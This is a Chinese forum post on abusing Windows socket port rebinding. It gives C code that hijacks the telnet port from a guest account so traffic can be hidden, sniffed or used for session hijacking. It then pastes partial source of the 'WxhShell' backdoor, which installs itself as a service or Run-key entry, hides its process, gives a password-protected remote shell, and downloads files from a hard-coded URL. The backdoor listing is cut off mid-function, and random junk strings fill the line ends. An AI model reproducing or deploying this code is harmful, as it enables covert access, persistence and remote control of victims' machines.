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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 1_G^w qk  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); r<$y= B  
uPvEwq* C  
  saddr.sin_family = AF_INET; {oL>1h,%3?  
xoME9u0x4  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ~"A0Rs=  
r9XZ(0/p  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); s5. CFA  
*0ro0Z|Iq  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 r.U`Kh]K  
Q,Eo mt  
  这意味着什么?意味着可以进行如下的攻击: |w3M7;~eF  
gRzxLf`K  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 19#\+LWA  
D2O~kN d  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 3OB"#Ap8<  
nJ;.Td  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 4<v&S2Yq  
~}Pfu  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  mR)wX 6  
vP,n(reM  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 N$tGQ@  
e'<)V_  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 "J1 4C9u   
"r2 r   
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 2fS:- 8N  
vih9 KBT  
  #include J[kTlHMD  
  #include Dt1jW  
  #include G!yP w:X  
  #include    2~2 O V  
  DWORD WINAPI ClientThread(LPVOID lpParam);   2`-Bs  
  int main() ,]D,P  
  { w!XD/j N  
  WORD wVersionRequested; QZ8IV>  
  DWORD ret; -Qe'YBy:  
  WSADATA wsaData; Uw:"n]G]D?  
  BOOL val; M3au{6y  
  SOCKADDR_IN saddr; d_P` qA  
  SOCKADDR_IN scaddr; #0<XNLM  
  int err; Pzem{y7Ir  
  SOCKET s; 1 -b_~DF  
  SOCKET sc; $pz/?>!  
  int caddsize; +cRn%ioVi  
  HANDLE mt; GtHivC  
  DWORD tid;   SS2%q v  
  wVersionRequested = MAKEWORD( 2, 2 ); 3(UVg!t  
  err = WSAStartup( wVersionRequested, &wsaData ); %}T6]S)%u  
  if ( err != 0 ) { H;"4 C8K7  
  printf("error!WSAStartup failed!\n"); !`r$"}g  
  return -1; )M^ gT}M  
  } ]_$[8#kg  
  saddr.sin_family = AF_INET; w2'5#`m  
   5-A\9UC*@  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 & nK<:^n  
./~(7o$  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); *K; ~!P  
  saddr.sin_port = htons(23); -n;}n:w L  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) WY]s |2a  
  { d"Y{UE  
  printf("error!socket failed!\n"); S8gs-gL#Og  
  return -1; d d;T-wa}  
  } fB,_9K5i  
  val = TRUE; P'rb%W  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 @%SQFu@FJ  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ~QVH<`sn  
  { 6H|S;K+  
  printf("error!setsockopt failed!\n"); {xB3S_,8  
  return -1; jj>]9z  
  } Ir]\|t  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; S,=|AD  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 M3Kfd  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 {GUF;V ^  
4GM6)"#d  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ,z?':TZ  
  { e';_Y>WQy  
  ret=GetLastError(); )`}:8y?  
  printf("error!bind failed!\n"); aQ~s`^D  
  return -1; D)Dr__x  
  } wA.\i  
  listen(s,2); MO]&bHH7;  
  while(1) nj4/#W  
  { dqAw5[qMJ  
  caddsize = sizeof(scaddr); h `wD  
  //接受连接请求 B erwI 7!=  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); K|@G t%Y  
  if(sc!=INVALID_SOCKET)  2Rz  
  { QSj]ZA  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); L%5%T;0'~  
  if(mt==NULL) \j.:3X r  
  { @ .KGfNu  
  printf("Thread Creat Failed!\n"); wNX]7wMX  
  break; ?%kV?eu'  
  } 8XbT`y  
  } B-ESFATc  
  CloseHandle(mt); cj@koA'  
  } DL.!G  
  closesocket(s); 'f|o{  
  WSACleanup(); 3M=  
  return 0; /7LR;>Bj  
  }   T 1t6p&  
  DWORD WINAPI ClientThread(LPVOID lpParam) J^/p(  
  { CQ2jP G*py  
  SOCKET ss = (SOCKET)lpParam; },[}$m %  
  SOCKET sc; YoE3<[KD(  
  unsigned char buf[4096]; ]R? 4{t4  
  SOCKADDR_IN saddr; CH/rp4NeSy  
  long num; H:\k}*w  
  DWORD val; "h ^Z  
  DWORD ret; )CyS#j#=  
  //如果是隐藏端口应用的话,可以在此处加一些判断 2BobH_ H  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   J-4:H gx  
  saddr.sin_family = AF_INET; b>$S<td  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); !%>7Dw(kt  
  saddr.sin_port = htons(23); bN88ua}k{  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) iR0y"Cii  
  { O1kl70,`R  
  printf("error!socket failed!\n"); ]{LjRSV  
  return -1; +^<](z  
  } cGD(.=  
  val = 100; \C1nZk?3  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,=N.FS  
  { Xm 2'6f,  
  ret = GetLastError(); HorDNRyu  
  return -1; p<;0g9,1  
  } #D|p2L$  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) |)G<,FJQE_  
  { Xry4 7a )  
  ret = GetLastError(); R FH0  
  return -1; { BHO/q3  
  } $mB;K]m  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) PxE3K-S)G  
  { Lh<).<S  
  printf("error!socket connect failed!\n"); [1KuzCcK}  
  closesocket(sc); bu"!jHPB  
  closesocket(ss); 0|b>I!_"g  
  return -1; &VcV$8k  
  } 1i ] ^{;]  
  while(1) bJ;'`sw1  
  { ,?XCyHSgWW  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 i 3SHg\~Z  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ctJE+1#PH  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 8JD,u  
  num = recv(ss,buf,4096,0);  f V(J|  
  if(num>0) [c06 N$:  
  send(sc,buf,num,0); v9->nVc-  
  else if(num==0) a@*\o+Su  
  break; Xs?o{]Fe  
  num = recv(sc,buf,4096,0); :,I:usW"  
  if(num>0) BF<ikilR  
  send(ss,buf,num,0); I!?}jo3  
  else if(num==0) z$xo$R(  
  break; >dG[G>  
  } O7IJ%_A&  
  closesocket(ss); BVO<e \>3  
  closesocket(sc); eGHaY4|  
  return 0 ; m9Hit8f@Q  
  } WeiFmar  
pV"R|{#V  
DDH:)=;z  
========================================================== W#sU`T   
^v`\x5"Vp  
下边附上一个代码,,WXhSHELL Z)aUt Srf  
fwf$Co+R:*  
========================================================== UZsH9 o  
d<N:[Y\4l  
#include "stdafx.h" zI<<Q2  
xUistwq  
#include <stdio.h> \} :PLCKT  
#include <string.h> cjIh}:| '  
#include <windows.h> Per1IcN  
#include <winsock2.h> N' `A?&2ru  
#include <winsvc.h> .h4 \Y A  
#include <urlmon.h> 0=E]cQwh  
<HVt V9R  
#pragma comment (lib, "Ws2_32.lib") l2P=R)@{  
#pragma comment (lib, "urlmon.lib") `lt"[K<  
ITT@,  
#define MAX_USER   100 // 最大客户端连接数 ';=O 0)u  
#define BUF_SOCK   200 // sock buffer ?m? ::RH  
#define KEY_BUFF   255 // 输入 buffer DZ PPJ2}  
5,6"&vU,  
#define REBOOT     0   // 重启 }d}Ke_Q0  
#define SHUTDOWN   1   // 关机 BKjS ,2C  
xx%j.zDI]  
#define DEF_PORT   5000 // 监听端口 1Z~FCJz  
lv+TD!b   
#define REG_LEN     16   // 注册表键长度 hNmJ!Uo  
#define SVC_LEN     80   // NT服务名长度 *6DB0X_-}  
8C9-_Ng`  
// 从dll定义API -:y,N 9^  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); P! #[mio  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); .+A+|yR  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1F&Trqq  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [}0haTYc4  
Vt&2z)Zz  
// wxhshell配置信息 76h ,]xi  
struct WSCFG { =mp;.k95  
  int ws_port;         // 监听端口 4 VW[E1<  
  char ws_passstr[REG_LEN]; // 口令 #Kex vP&*  
  int ws_autoins;       // 安装标记, 1=yes 0=no orMwAV  
  char ws_regname[REG_LEN]; // 注册表键名 aH/ k Ua  
  char ws_svcname[REG_LEN]; // 服务名 k5.Lna  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 X))/ m[_[  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 <s<n  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 KEjWRwN  
int ws_downexe;       // 下载执行标记, 1=yes 0=no O5nD+qTQ#  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .MoU1n{Yc  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ")XHak.JX  
~;{; ,8!)  
}; 54R#W:t  
.Od !0(0  
// default Wxhshell configuration 65$+{s  
struct WSCFG wscfg={DEF_PORT, 'XP7" N47O  
    "xuhuanlingzhe", MJ [m  
    1, LR.<&m%~.  
    "Wxhshell", Fgh_9S9J  
    "Wxhshell", UIN<2F_  
            "WxhShell Service", ]{mPh\  
    "Wrsky Windows CmdShell Service", !/i{l  
    "Please Input Your Password: ", } .m<  
  1, =QiI :|eRA  
  "http://www.wrsky.com/wxhshell.exe", mQ 26K~  
  "Wxhshell.exe" =Qj{T  
    }; V_}"+&W9  
;dZZ;#k%  
// 消息定义模块 |AU~_{H  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; hVAn>_(  
char *msg_ws_prompt="\n\r? for help\n\r#>"; s/ qYa])  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; tq6!`L}3  
char *msg_ws_ext="\n\rExit."; _ y8Wn}19f  
char *msg_ws_end="\n\rQuit."; o 5uph=Q{  
char *msg_ws_boot="\n\rReboot..."; ""F5z,'  
char *msg_ws_poff="\n\rShutdown..."; jc[Y}gd,  
char *msg_ws_down="\n\rSave to "; O$j7i:G'5  
'3D XPR^B6  
char *msg_ws_err="\n\rErr!"; ca*DZG/  
char *msg_ws_ok="\n\rOK!"; ']z{{UNUN  
YdC6k?tzS  
char ExeFile[MAX_PATH]; mtp+rr  
int nUser = 0; }1i`6`y1  
HANDLE handles[MAX_USER]; gANuBWh8T  
int OsIsNt;  J^5So  
e95Lo+:f  
SERVICE_STATUS       serviceStatus; O-GJ-  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; &LZn FR  
/saIs%(fU  
// 函数声明 ?5|>@>  
int Install(void); Pz|>"'  
int Uninstall(void); tla 5B_  
int DownloadFile(char *sURL, SOCKET wsh); (G4at2YLd  
int Boot(int flag); Ed,~1GanY  
void HideProc(void); YPK(be_|I  
int GetOsVer(void); >xYpNtEs  
int Wxhshell(SOCKET wsl); m6&~HfwN  
void TalkWithClient(void *cs); O/a4]r+_  
int CmdShell(SOCKET sock); ]kRfB:4ED  
int StartFromService(void); J0\Fhe0'  
int StartWxhshell(LPSTR lpCmdLine); uHvp;]/0\  
lC("y' ::  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); #+HJA42  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); `nv~NLkl  
OXSmt DvJ  
// 数据结构和表定义 \lf;P?M^  
SERVICE_TABLE_ENTRY DispatchTable[] = [-k  
{ m^f0V2M_  
{wscfg.ws_svcname, NTServiceMain}, lVR~Bh  
{NULL, NULL} T?soJ]A  
}; E=CsIK   
ag#S6E^%S  
// 自我安装 mD0f<gJ1  
int Install(void) m=A(NKZ   
{ foF({4q7b^  
  char svExeFile[MAX_PATH]; %.Fi4}+O  
  HKEY key; iWB=sL&p  
  strcpy(svExeFile,ExeFile); aS{n8P6vW  
z/WE,R  
// 如果是win9x系统,修改注册表设为自启动 [.'|_l  
if(!OsIsNt) { y'~U%,ki6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gk[aM~p  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3kIN~/<R+7  
  RegCloseKey(key); Ym{tR,g7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?U5{Wa85D  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6?mibvK  
  RegCloseKey(key); +[AQUc  
  return 0; % X+:o]T  
    } THbh%)Zv+  
  } '()xHEGl3  
} }=UHbU.n~!  
else { ?'Xj g#}<  
W*4-.*U8a  
// 如果是NT以上系统,安装为系统服务 o"Euwh!!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); M7a.8-!1  
if (schSCManager!=0) m!4ndO;0vh  
{  Ins`l  
  SC_HANDLE schService = CreateService )}]g] g  
  ( S)k*?dQ##R  
  schSCManager, *1 ]uH e  
  wscfg.ws_svcname, gsv uE  
  wscfg.ws_svcdisp, a 3b/e8c  
  SERVICE_ALL_ACCESS, Lh"<XYY  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , f/NH:1)y  
  SERVICE_AUTO_START, |`Ntv }  
  SERVICE_ERROR_NORMAL,  |`f$tj  
  svExeFile, Z!#!Gu*V  
  NULL, 1N^[.=  
  NULL, z8~NZ;A  
  NULL, #`iB`|  
  NULL, .hP D$o  
  NULL I^]2K0+x x  
  ); *_{j=sd  
  if (schService!=0) [vK ^Um  
  { |zNX=mAV  
  CloseServiceHandle(schService); _AYK435>N  
  CloseServiceHandle(schSCManager); TJpD{p}  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Xy&A~F  
  strcat(svExeFile,wscfg.ws_svcname); 6BHXp# #z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { e *(!^Q1  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); }DE g-j,F  
  RegCloseKey(key); B5VKs,g  
  return 0; e7r -R3_  
    } 9ni1f{k  
  }  $s c  
  CloseServiceHandle(schSCManager); dA`IEQJL  
} -M~:lK]n   
} OU(8V^.  
s1$nvTzBr  
return 1; u+e{Mim  
} Z{Qu<vy_  
Y3cMC)  
// 自我卸载 qu6D 5t  
int Uninstall(void) D|L9Vs`  
{ C12Fl  
  HKEY key; %2/EaaR  
ksqQM  
if(!OsIsNt) { `$<.pOm  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |'8Nh  
  RegDeleteValue(key,wscfg.ws_regname); ,GIy q)  
  RegCloseKey(key); g i-$Z FzB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4*#18<u5  
  RegDeleteValue(key,wscfg.ws_regname); H8zK$!  
  RegCloseKey(key); V)-+Fd,=  
  return 0; V-2(?auZd  
  } |t&>5HM  
} _LUhZlw  
} \0I_<  
else { #n #}s  
VUGmi]qd  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ]^'Kd*x  
if (schSCManager!=0) l0w]`EE  
{ m@F`!qY~Y\  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); |A9F\A->4  
  if (schService!=0) x8\?}UnB  
  { y`5 9A  
  if(DeleteService(schService)!=0) { fLD, 5SN  
  CloseServiceHandle(schService); ~i{(<.he  
  CloseServiceHandle(schSCManager); >d*@_ kJM  
  return 0; v2\FA(BPn  
  } )Y0!~# `  
  CloseServiceHandle(schService); f=Gg9bnm3  
  } &|ex`nwc0  
  CloseServiceHandle(schSCManager); y0.'?6k  
} 9C9oUtS  
} ,vawzq[oSy  
0 [# 3;a  
return 1; a=1@*ID  
} NC`aP0S  
o]_dJB  
// 从指定url下载文件 vjCu4+w($Z  
int DownloadFile(char *sURL, SOCKET wsh) aQcleTb  
{ ^4hO  
  HRESULT hr; Xp% v.M  
char seps[]= "/"; "5!oi]@>(  
char *token; uc\Kg1{  
char *file; \<>ih)J@tt  
char myURL[MAX_PATH]; 7wqK>Y1a  
char myFILE[MAX_PATH]; [`[|l  
#&k5 d:  
strcpy(myURL,sURL); JPUW6e07o  
  token=strtok(myURL,seps); a :`E0}C  
  while(token!=NULL) 8z`G,qh  
  { 4G0m\[Du  
    file=token; nYSiS}?S .  
  token=strtok(NULL,seps); |O+H[;TB6  
  } 7#a-u<HF"  
F4z{LhZ  
GetCurrentDirectory(MAX_PATH,myFILE); \fd v]f  
strcat(myFILE, "\\"); `r':by0M  
strcat(myFILE, file); D|p9qe5%  
  send(wsh,myFILE,strlen(myFILE),0); yu|8_<bq  
send(wsh,"...",3,0); FUb\e-Q=  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Y%^w:|f^  
  if(hr==S_OK) 5yo%$i8I  
return 0; k FD; i  
else gzT*-  
return 1; <w9JRpFY  
=zPCrEk0  
} 7"x;~X  
S Lj!v&'  
// 系统电源模块 iB yf{I>+  
int Boot(int flag) pRpBhm;iJ  
{ m,w A:o$'  
  HANDLE hToken; s`8= 3]w  
  TOKEN_PRIVILEGES tkp; #L;dI@7C  
_Y4` xv0/  
  if(OsIsNt) { Y =I'czg  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); =v&hWjP  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); >Q;l(fdj  
    tkp.PrivilegeCount = 1; n'LrQU  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Uz8ff  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #A/  
if(flag==REBOOT) { Rsk4L0  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) $GcqBg-Hi  
  return 0; ]p GL`ge5  
} CwzZ8.o$i  
else { LL|r A:  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ie95rZp  
  return 0; ,^< R{{{-A  
} & h)yro  
  } `UaD6Mc<Mz  
  else { +GN(Ug'R  
if(flag==REBOOT) { ]Q1yNtN  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _6hQ %hv8  
  return 0; ;`{H!w[D  
} 1n8/r}q'H  
else { &wawr2)}  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Q"d^_z ]K  
  return 0; &PHTpkaam  
} ;xj?z\=Pg  
} |SSSH  
/C:gKy4  
return 1; s!zx} 5  
} G>}255qY  
gZXi]m&  
// win9x进程隐藏模块 AV]2 euyn  
void HideProc(void) :eCwY  
{ & J'idYD  
3;9^  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Mfuv0P~  
  if ( hKernel != NULL ) 4F:\-O  
  { K@]4g49A/j  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); T&bY a`f]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Dml;#'IF3  
    FreeLibrary(hKernel); #:_Kws>+  
  } G~a ZJ,  
Dx?,=~W9  
return; JXQO~zj  
} RbnVL$c  
N>`Aw^ _@&  
// 获取操作系统版本 +Kc  
int GetOsVer(void) &r /Mi%  
{ $%d*@ 'c  
  OSVERSIONINFO winfo; V f&zL Sgr  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); FD #8mg  
  GetVersionEx(&winfo); O0v}43J [  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) PFjL1=7I  
  return 1; 9$w.9`Py  
  else qe#tj/aZ  
  return 0; 2]*OQb#O6e  
} M|h3Wt~7  
!f [_+CD  
// 客户端句柄模块 TIDO@NwF  
int Wxhshell(SOCKET wsl) Wn2NMXK  
{ @Nx 9)  
  SOCKET wsh; hn@08t G  
  struct sockaddr_in client; U7F!Z( 9  
  DWORD myID; B9z?mt'|r)  
JH9J5%sp  
  while(nUser<MAX_USER) LH% F 8  
{ vvMT}-!  
  int nSize=sizeof(client); CAhXQ7w'Z  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); gr2U6gi  
  if(wsh==INVALID_SOCKET) return 1; FW4<5~'  
W{+2/P  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 3nQ`]5.Q w  
if(handles[nUser]==0) #c!lS<z  
  closesocket(wsh); Ld~/u]K%V  
else C&%_a~  
  nUser++; 1GcE) e!>  
  } TD0 B%  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); /([kh~a  
;)*eo_tQ  
  return 0; %tGO?JMkd  
} ^yp{32  
N4!O.POP  
// 关闭 socket Ti5-6%~&  
void CloseIt(SOCKET wsh) 6 H$FhJF  
{ -Q*gW2KmV  
closesocket(wsh); O^ yG?b  
nUser--; 24eLB? H  
ExitThread(0); q0vQ a  
} kDxFloK  
u6JM]kR  
// 客户端请求句柄 rEW b"  
void TalkWithClient(void *cs) Svmy(w~m  
{ Y$_B1_  
wc4=VC"y  
  SOCKET wsh=(SOCKET)cs; 0GeTS Fj  
  char pwd[SVC_LEN]; usF.bkTp  
  char cmd[KEY_BUFF]; 8l`*]1.W<  
char chr[1]; f]CXu3w(J  
int i,j; h:|qC`}  
wmLs/:~  
  while (nUser < MAX_USER) { YS0<qSN  
} q8ASYNc  
if(wscfg.ws_passstr) { 4tBYR9|  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  =7eV/3  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8d'0N  
  //ZeroMemory(pwd,KEY_BUFF); (jE9XxQY  
      i=0; 6i/(5 nQ  
  while(i<SVC_LEN) { 26h21Z16q  
b ]KBgZ  
  // 设置超时 R\[e!g*I  
  fd_set FdRead; sPIn|d  
  struct timeval TimeOut; 'H;*W|:-]  
  FD_ZERO(&FdRead); evmeqQG=  
  FD_SET(wsh,&FdRead); Avb\{)s+  
  TimeOut.tv_sec=8; ' `Hr}  
  TimeOut.tv_usec=0; x.$FNt(9  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <LiPEo.R  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); #ABZ&Z  
tR$NRMZ.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i/Zd8+.n$  
  pwd=chr[0]; (4nq>;$3  
  if(chr[0]==0xd || chr[0]==0xa) { cvL;3jRo  
  pwd=0; J|73.&B  
  break; 3JR+O <3D  
  } ;$g?T~v7  
  i++; R:qW;n%AF  
    } ZN0P:==  
(E1~H0^  
  // 如果是非法用户,关闭 socket |FRg\#kf%  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [nq@mc~<  
} v]UwJz3<  
/)O"l@ }U  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~k5W@`"W  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a%0EiU  
QMm%@zH  
while(1) { [$UI8tV  
t]G:L}AOl  
  ZeroMemory(cmd,KEY_BUFF); J{G?-+`  
@H8EWTZ  
      // 自动支持客户端 telnet标准   s eJ^s@H5l  
  j=0; ]ZS OM\}  
  while(j<KEY_BUFF) { f|g g  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); aN3;`~{9  
  cmd[j]=chr[0]; ?a]mDx>xh  
  if(chr[0]==0xa || chr[0]==0xd) { )4;`^]F  
  cmd[j]=0; +=)+'q]S  
  break; jebx40TA3  
  } qH_Dc=~la  
  j++; "m>81-0  
    }  Vxt+]5X  
BZ^}J!Q'*  
  // 下载文件 oXgcc*j  
  if(strstr(cmd,"http://")) { )+Pus~w  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); BMf@M  
  if(DownloadFile(cmd,wsh)) N'=gep0V@  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); fc>L K7M  
  else M',?u  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); klhtKp_p  
  } F:DrX_O%  
  else { _)-o1`*-  
\fe]c :  
    switch(cmd[0]) { q5S9C%b  
  dAj$1Ke  
  // 帮助 ]]yO1x$Kk  
  case '?': { I%Z  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3Zh)]^  
    break; lu/ (4ED  
  } BJ(M2|VH  
  // 安装 Cgc\ ah  
  case 'i': { =2x^nW  
    if(Install()) w4Z'K&d=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7K:PdF>/  
    else \73ch  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 32 =z)]FZ  
    break;  9gZ$   
    } `r_/Wt{g  
  // 卸载 )!T/3|C  
  case 'r': { Xn ;AZu^'R  
    if(Uninstall()) +"@ .8m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (7*}-Uy[C  
    else SgOheN-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *8XEYZa  
    break; @KAI4LP  
    } Kc(FX%3LU  
  // 显示 wxhshell 所在路径 0m ? )ROaJ  
  case 'p': { :BT q!>s  
    char svExeFile[MAX_PATH]; #e5\j\#.  
    strcpy(svExeFile,"\n\r"); T[j,UkgGo  
      strcat(svExeFile,ExeFile); m l$o5&sN  
        send(wsh,svExeFile,strlen(svExeFile),0); k VQ\1!  
    break; Aiea\j Bv  
    } Wm5 dk9&x  
  // 重启 rVsJ`+L  
  case 'b': { <54 S  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Y6d@h? ht  
    if(Boot(REBOOT)) vr^qWn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bN@ l?w  
    else { as=LIw}Q4  
    closesocket(wsh); `P ,d$H "  
    ExitThread(0); PFK  '$  
    } _J[P[(ab  
    break; Wv/=O}  
    } ete.!*=  
  // 关机 >F&47Yn  
  case 'd': { Sa5G.^ XI  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )\^-2[;  
    if(Boot(SHUTDOWN)) pD]OT-8  
